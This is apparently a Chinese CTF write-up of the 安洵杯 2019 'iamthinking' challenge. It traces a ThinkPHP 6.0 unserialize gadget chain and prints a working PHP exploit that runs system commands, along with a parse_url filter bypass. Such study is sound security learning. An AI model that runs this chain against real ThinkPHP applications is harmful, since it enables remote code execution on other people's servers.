[安洵杯 2019]iamthinking刷题笔记&&简单跟一下tp6链子

www.zip下载源码

index控制器

<?php
namespace app\controller;
use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        
        echo "<img src='../test.jpg'"."/>";
        $paylaod = @$_GET['payload'];
        if(isset($paylaod))
        {
            $url = parse_url($_SERVER['REQUEST_URI']);
            parse_str($url['query'],$query);
            foreach($query as $value)
            {
                if(preg_match("/^O/i",$value))
                {
                    die('STOP HACKING');
                    exit();
                }
            }
            unserialize($paylaod);
        }
    }
}

结合tp版本号6.0,利用tp反序列化漏洞,然后绕过parse_url即可

正好跟一下tp6.0的链子,直接把链条贴过来

save() => updateData() => checkAllowFields() =>db() => __tostring() => toJson() => toArray() => getAttr() => getValue()

起点

vendor/topthink/think-orm/src/model.php中的Model类

[安洵杯 2019]iamthinking刷题笔记&&简单跟一下tp6链子

lazySave为true即可调用save方法

[安洵杯 2019]iamthinking刷题笔记&&简单跟一下tp6链子

如果想要执行updateData则不能进入if分支,同时需要exists为true

 

[安洵杯 2019]iamthinking刷题笔记&&简单跟一下tp6链子

这里isEmpty判断data是否为空,data不为空即可

[安洵杯 2019]iamthinking刷题笔记&&简单跟一下tp6链子

让withEvent为false即可

此时进入updateData

[安洵杯 2019]iamthinking刷题笔记&&简单跟一下tp6链子

这里第一个if分支不进入的方法和上面一样

第二个if分支要让data不为空,而在此之前data=$this->getChangedData()

[安洵杯 2019]iamthinking刷题笔记&&简单跟一下tp6链子

这里return了1后data也满足不为空,令force为1且data非空即可返回1

下一步进入checkAllowFields函数

[安洵杯 2019]iamthinking刷题笔记&&简单跟一下tp6链子

field和schema要为空才能执行db()

[安洵杯 2019]iamthinking刷题笔记&&简单跟一下tp6链子

db()中判断table非空后,会进行table和suffix的字符串拼接操作,可以触发__toString

把table赋值为其他带有__toString方法的类即可

到此Model类中的构造已经完毕,而Model是一个abstract类,无法实例化,所以选用子类Pivot

在model/concern/conversion.php中的名为Conversion的trait中有__toString

[安洵杯 2019]iamthinking刷题笔记&&简单跟一下tp6链子

跟进

[安洵杯 2019]iamthinking刷题笔记&&简单跟一下tp6链子

再跟

[安洵杯 2019]iamthinking刷题笔记&&简单跟一下tp6链子

默认情况会进入elif语句触发getAttr(),在名为Attribute的trait里面

[安洵杯 2019]iamthinking刷题笔记&&简单跟一下tp6链子

看一下getData的作用

[安洵杯 2019]iamthinking刷题笔记&&简单跟一下tp6链子

[安洵杯 2019]iamthinking刷题笔记&&简单跟一下tp6链子

这里strict为true会直接返回name,然后getData返回$this->data[$name]

再跟进getValue()

[安洵杯 2019]iamthinking刷题笔记&&简单跟一下tp6链子

这里$closure,$value,$this->data都是可控的,可以实现rce

$this->withAttr值为system,$this->data值为命令即可执行系统命令

exp(将将理解吧,面向对象的东西真是丰富多彩啊)

<?php
namespace think{
    abstract class Model{
        use model\concern\Attribute;  //因为要使用里面的属性
        private $lazySave;
        private $exists;
        private $data=[];
        private $withAttr = [];
        public function __construct($obj){
            $this->lazySave = True;
            $this->withEvent = false;
            $this->exists = true;
            $this->table = $obj;
            $this->data = ['key'=>'cat /flag'];
            $this->visible = ["key"=>1];
            $this->withAttr = ['key'=>'system'];
        }
    }
}

namespace think\model\concern{
    trait Attribute
    {
    }
   trait Conversion
    {    
    }
} 
namespace think\model{

use think\Model;

class Pivot extends Model {
}

$a = new Pivot('');

$b = new Pivot($a);

echo urlencode(serialize($b));
}

 然后生成的payload传入时url后面多加两个/来绕过parse_url即可

 
上一篇:OAF_开发系列13_实现OAF通过Vector动态查询设置(案例)


下一篇:XgBoost推导与总结